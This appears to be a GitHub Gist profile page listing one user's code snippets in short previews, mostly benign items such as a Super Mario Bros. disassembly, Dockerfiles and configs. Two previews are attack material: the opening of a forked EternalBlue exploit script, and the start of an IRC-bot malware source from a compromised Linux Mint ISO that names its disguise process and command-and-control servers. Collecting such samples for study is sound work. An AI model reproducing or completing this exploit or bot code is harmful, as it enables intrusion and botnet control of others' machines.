Skip to content

Instantly share code, notes, and snippets.

Avatar

Z curtiszimmerman

  • Planet Earth
View GitHub Profile
@curtiszimmerman
curtiszimmerman / SMBDIS.ASM
Created Oct 16, 2017 — forked from 1wErt3r/SMBDIS.ASM
A Comprehensive Super Mario Bros. Disassembly
View SMBDIS.ASM
;SMBDIS.ASM - A COMPREHENSIVE SUPER MARIO BROS. DISASSEMBLY
;by doppelganger (doppelheathen@gmail.com)
;This file is provided for your own use as-is. It will require the character rom data
;and an iNES file header to get it to work.
;There are so many people I have to thank for this, that taking all the credit for
;myself would be an unforgivable act of arrogance. Without their help this would
;probably not be possible. So I thank all the peeps in the nesdev scene whose insight into
;the 6502 and the NES helped me learn how it works (you guys know who you are, there's no
@curtiszimmerman
curtiszimmerman / eternalblue7_exploit.py
Created Jun 6, 2017 — forked from worawit/eternalblue7_exploit.py
Eternalblue exploit for Windows 7/2008
View eternalblue7_exploit.py
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@curtiszimmerman
curtiszimmerman / app.js
Last active Dec 18, 2016
A super-simple example of typical module.exports usage
View app.js
//// app.js
// main application
// @author curtiszimmerman
// @contact software@curtisz.com
// @license AGPL
// @version 0.0.1
var app = (function() {
// local dependency
var foo = require('./foo.js');
View sample.sql
CREATE DATABASE IF NOT EXISTS Testing;
CREATE USER 'testing'@'%' IDENTIFIED BY '';
GRANT ALL PRIVILEGES ON Testing.* TO 'testing'@'%';
CREATE TABLE `Testing`.`Test` (
`Id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`Data` int(11) DEFAULT NULL,
`Url` varchar(255) DEFAULT NULL,
`Timestamp` int(11) DEFAULT NULL,
PRIMARY KEY (`Id`)
View gist:119cecedba73afca11ff122aef74e58e
# Dockerfile
FROM ubuntu
RUN apt-get update -y && \
apt-get install traceroute && \
rm -rf /var/lib/apt/lists/*
RUN mkdir /test
COPY entrypoint.sh /test
# docker-compose.yml
version: "2"
View .tmux.conf
# make status bar more awesome
set -g status-utf8 on
set -g status-keys vi
set -g status-interval 1
set -g status-attr bright
set -g status-fg white
set -g status-bg black
set -g status-left-length 30
set -g status-left '#[fg=green][#[fg=red]#S - #(whoami) - #(cut -d " " -f 1-3 /proc/loadavg)#[fg=green]]#[default]'
set -g status-justify centre
@curtiszimmerman
curtiszimmerman / Dockerfile
Created May 19, 2016
Dockerfile for Ethereum C++ and Go implementations
View Dockerfile
FROM ubuntu:wily
MAINTAINER James Wheaton <jwheaton@kpmg.com>
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get -y update &&\
apt-get -y install language-pack-en-base &&\
dpkg-reconfigure locales &&\
apt-get -y install software-properties-common &&\
apt-get upgrade -q -y && \
@curtiszimmerman
curtiszimmerman / man.cy
Created Mar 3, 2016 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
View man.cy
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
View ParseURL.js
/* *******************************************************************************
Hero authors of RFC 3986 (http://www.ietf.org/rfc/rfc3986.txt) gave us this regex
for parsing (well-formed) URLs into their constituent pieces:
^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
Which for the following URL:
http://www.ics.uci.edu/pub/ietf/uri/#Related
Yields in the following subexpression matches:
@curtiszimmerman
curtiszimmerman / usefulShit.md
Created Nov 28, 2015
collection of interesting projects, websites, documents & articles, most realated to information security